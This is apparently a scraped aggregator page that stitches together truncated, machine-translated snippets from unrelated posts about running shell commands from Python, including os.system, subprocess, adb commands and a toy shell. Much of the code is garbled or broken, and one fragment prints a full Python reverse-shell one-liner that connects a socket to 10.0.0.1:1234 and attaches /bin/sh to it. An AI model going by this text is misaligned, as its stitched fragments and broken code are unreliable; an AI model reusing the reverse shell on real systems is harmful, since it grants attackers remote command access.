Brother I'm back again, haha · Haven't come to write a blog for a long time, now slowly make up the former! Recently learning Python, so you will update some of the problems encountered in learning.Today's content is the function of a simple script written before the shell is implemented with Python: Select the corresponding menu item and print the status informa
based on the operating system version and try to introduce it. Because pexpect is not installed on the default Operating System, this part supports RH, Ubuntu, debian, SuSE ''' try: import pexpectexcept ImportError: installer = System () inst = install. getInstaller () if (inst = 'apt-get') or (inst = 'zypper '): cmd =' % s install python-pex Pect '% (inst) elif inst = 'yum': cmd = '$ s install p;ct' % (inst) else: cmd = 'echo "Not support yet :)"';
): Print(x) 012>>> list (range (0,31, 2]4.2 Derivation (Python-specific)You can combine loops and conditions by creating data structures from one or more iterators.List-derived for in range (1,6)]>>> number_list[1, 2, 3, 4, 5] >>> a_list = [number for number in Range (1,6) if number% 2 ==1] > >> a_list[ 1, 3, 5] >>> rows = range (1,4)>>> cols = range (1,3) for inch Cols] for inch Cells: Print (cell) (1, 1) (1, 2)(2, 1) (2, 2) (3,
Python calls shell scripts in two ways: OS. system (CMD) or OS. popen (CMD), the former returns the exit code of the script, and the latter returns the output content during script execution. The actual usage depends on your needs.
Assume that there is a shell script test. sh:
#! /Bin/bash
1. Echo "Hello world! "
2. Exit 3
OS. System (CMD ):
After the
Python interaction
Using subprocessMake a device partial Linux commandPython script: Download busybox and put it in the same directory as the script
# coding:utf-8
# This script is used to make the environment have BusyBox environment
import subprocess
import os
print "Start push file"
Os.system (" ADB push busybox/system/xbin/")
print" Start root "
Os.system (" adb root ")
print" Start remote "
Os.system (" ADB remount ")
#这里面的命令全部都会在Linux的环境下执行, t
Shell has many powerful commands, such as awk, sort, and grep. Which of the following statements has higher execution efficiency than php or python? Shell has many powerful commands, such as awk, sort, and grep. Which of the following statements has higher execution efficiency than php or python? Reply: I did a test to
Before the online server distribution configuration is the shell and expect script distribution, the script is written for a long time, last week changed the Ansible, and now write one in Python, 30 lines of code to achieve the requirements, the previous Shell wrote a fast 200 lines, egg pain, the code is as follows:From multiprocessing import processimport param
Python calls a script or shell in the following three ways:Os.system ()Characteristics:(1) The script can be called.(2) It can be judged whether it is executed correctly.(3) Unable to meet standard output errorsCommands moduleCharacteristics:(1). Commands.getstatusoutput (CMD)Executes command cmd with Os.popen () and returns the tuple (status, result) of two elements. CMD executes in the same way as {cmd;}
If you don't talk nonsense, go directly to the code.Parsing VPN Profile for iOS devices using Shell and Python scripts The code is as follows: Copy code #! /Bin/bash Httpserver = "http: // 10.226.200.96 /"Vpnprofilename = "vpn. mobileconfig" If [! -D "/tmp/vpn"]; thenMkdir/tmp/vpn
Address: https://github.com/donghouhe/python_fantan_shell_encode/blob/master/netcat_encode.py If you think you can, dot a star to encourage you.This is a primitive order.
1
python - C ' Import Socket,subprocess,os;s = Socket.socket (Socket.af_inet,socket. SOCK_STREAM); S.connect ("10.0. 0.1 ″, 1234 ) ); Os.dup2 (S.fileno (),0); Os.dup2 (S.fileno (),1); Os.dup2 (S.fileno (),2);p=subprocess.call (["/bin/sh" , "-i"]); '
Once run
[name] = func### Register all built-in commands in Def init (): Register_command ("CD", CD) def main (): # # #在开始主循环之前初始化 Shell Init () Shell_loop ()
We defined the register_command function to add a built-in function to our built-in command hash map. Next, we define the init function and register the built-in cd function here.
Pay attention to this line register_command("cd", cd) . The first parameter is the name of the command. The secon
1. Installationsudo pip install shellpyIf you are prompted that the current PIP version is too low, you can follow the promptssudo pip install--upgrade pip2. Create a fileVim Yourfilename. Spy Note is the spy suffix3. PerformShellpy Yourfilename.spyShell commands can be intuitively invoked in PythonFor example, result = 'ls-l' or result = 'ls-l Note is the ' other shellpy ' Concept of the TAB key, The concept of a package is exactly the same as the concept of a
This article has shared the use of Python to execute shell scripts and dynamic communication and subprocess basic use, interested in small partners can take a look at
Recent job requirements have encountered this situation in the Web side to get the contents of the configuration file and into the shell script to dynamically pass in parameters
There are several w
Python Invoke shell command 1.1 Os.system (command) Runs command commands in a child shell and returns the exit status after command execution is complete. This is actually implemented using the C standard library function system (). This function will need to reopen a terminal when executing command commands, and cannot save the execution result of command comma
website to download, specifically do not elaborate, stickers address: https://www.python.org/downloads/2.2 If you need to use other Python versions and frameworks such as Django, IronPython or Jython, please download and install them beforehand.2.3 Because to use the VS2013 version of PTVs, so to download version 2.2, if you like VS2010, download 2.1 version, but 2.1 version of the VS2013 is incompatible, so you have to find the VS2010
There are many powerful commands in the shell, such as awk, sort, grep, and so on, which are more efficient to execute than the language implementations of PHP and Python?
Reply content:N years ago in order to analyze dozens of GB of log every day, just tested. The test is performed in a Linux environment (Redhat ES 3), and the test processes a hundreds of-megabyte log file for summary analysis (mail logs),
Python shell obtains the host name based on the ip address.
In this article, we mainly share the code for getting the ip address from the shell in python by ip address or by hostname. The details are as follows.
I sometimes need to obtain the ip address based on the hostname.For example, obtain the ip address 10.173.14
The content source of this page is from Internet, which doesn't represent Alibaba Cloud's opinion;
products and services mentioned on that page don't have any relationship with Alibaba Cloud. If the
content of the page makes you feel confusing, please write us an email, we will handle the problem
within 5 days after receiving your email.
If you find any instances of plagiarism from the community, please send an email to:
info-contact@alibabacloud.com
and provide relevant evidence. A staff member will contact you within 5 working days.